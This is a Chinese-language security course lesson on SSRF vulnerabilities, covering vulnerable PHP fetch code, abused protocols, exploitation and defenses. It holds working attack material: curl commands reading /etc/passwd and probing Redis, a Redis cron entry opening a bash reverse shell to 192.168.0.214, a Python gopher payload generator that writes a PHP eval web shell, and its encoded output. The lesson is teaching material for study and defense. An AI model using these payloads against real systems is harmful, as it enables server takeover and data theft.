第四十二节课 风炫安全Web安全学习第四十一节课 SSRF漏洞演示与讲解
SSRF(Server-Side Request Forgery:服务器端请求伪造)
0x01 漏洞简介
Ssrf是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
Example:
GET /index.php?url=http://google.com/ HTTP/1.1
Host: example.com
在这里,http://example.com 从它的服务器获取 http://google.com
什么地方最容易出现SSRF
-
云服务器商。(各种网站数据库操作)
-
有远程图片加载的地方。(编辑器之类的有远程图片加载啊)
-
网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
-
头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg) 最后一个一切要你输入网址的地方和可以输入ip的地方,都是ssrf的天下。
SSRF可以做什么
- 对服务器所在的内网进行端口扫描,获取一些服务的banner信息等
- 攻击运行在内网或者本地的应用程序
- 对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)
- 攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)
- 下载内网资源(利用file协议读取本地文件等)
- 利用Redis未授权访问,HTTP CRLF注入达到getshell
- wooyun峰会猪猪侠的ppt 进行跳板
- 无视cdn
0x02 漏洞讲解
0x0201 函数
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞
file_get_contents()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
file_get_content
函数从用户指定的url获取内容,并展示给用户。file_put_content函数把一个字符串写入文件中。
fsockopen()
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
curl_exec
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
curl_exec
函数用于执行指定的cURL会话
0x0202 协议
(1)http/s
:探测内网主机存活
(2)file
: 在有回显的情况下,利用 file 协议可以读取任意内容
(3)dict
:泄露安装软件版本信息,查看端口,操作内网redis服务等
(4)gopher
:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
0x03 漏洞利用
http协议探测主机存活
curl -vvv 'http://191.168.0.1:8080'
file协议读取文件
curl -vvv 'file:///etc/passwd'
使用dict协议探测端口信息
curl -vvv 'dict://127.0.0.1:6379/info'
使用gopher协议攻击redis,getshell
curl -v "gopher://127.0.0.1:6666/_info"
利用redis把payload保存到linux计划任务,然后1分钟之后执行命令
set 1 "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.0.214/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
使用gopher攻击内网redis获取权限
改成gopher协议格式脚本
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/Users/zhoumengying/code/study/ssrf"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)
生成的payload:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2459%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.0.214/2333%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
最后补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
0x04漏洞防御
1、禁用不需要的协议(如:file:///
、gopher://
,dict://
等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP
0x05 参考
http://blog.evalshell.com/2021/01/05/风炫安全web安全学习第四十二节课-ssrf漏洞演示与讲解/
https://xz.aliyun.com/t/7405?accounttraceid=88b8ebbee5bb4ee6b62c004148f3f8e7ceje
https://www.anquanke.com/post/id/197431